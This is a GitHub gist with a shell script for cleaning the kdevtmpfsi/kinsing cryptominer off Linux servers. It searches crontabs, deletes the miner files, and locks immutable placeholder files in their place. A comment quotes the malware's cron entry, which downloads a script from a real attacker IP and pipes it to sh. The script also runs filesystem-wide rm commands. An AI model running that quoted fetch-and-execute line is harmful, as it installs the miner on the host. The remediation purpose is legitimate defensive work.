Last active
March 8, 2021 02:05
-
-
Save futuri/7dd1887ae40f8125d8723cdf1a4f7f4d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Search all crontabs | |
find / -iname cron* -exec grep -R -nw '195.3.146.118' {} + | |
find / -iname cron* -exec grep -R -nw 'wget -q' {} + | |
# search results example | |
# /var/spool/cron/crontabs | |
# /var/spool/cron/apache | |
# Comment or remove the line | |
# * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 | |
find / -iname kdevtmpfsi -exec rm -fv {} \; | |
find / -iname kinsing -exec rm -fv {} \; | |
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing && touch /tmp/kinsing | |
echo "hello" > /tmp/kdevtmpfsi && echo "hello" > /var/tmp/kinsing && echo "hello" > /tmp/kinsing | |
cat /tmp/kdevtmpfsi && cat /var/tmp/kinsing && cat /tmp/kinsing | |
chmod 1777 /var/tmp/kinsing && chmod 1777 /tmp/kdevtmpfsi && chmod 1777 /tmp/kinsing | |
chattr +i /tmp/kdevtmpfsi && chattr +i /var/tmp/kinsing && chattr +i /tmp/kinsing | |
# reboot |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment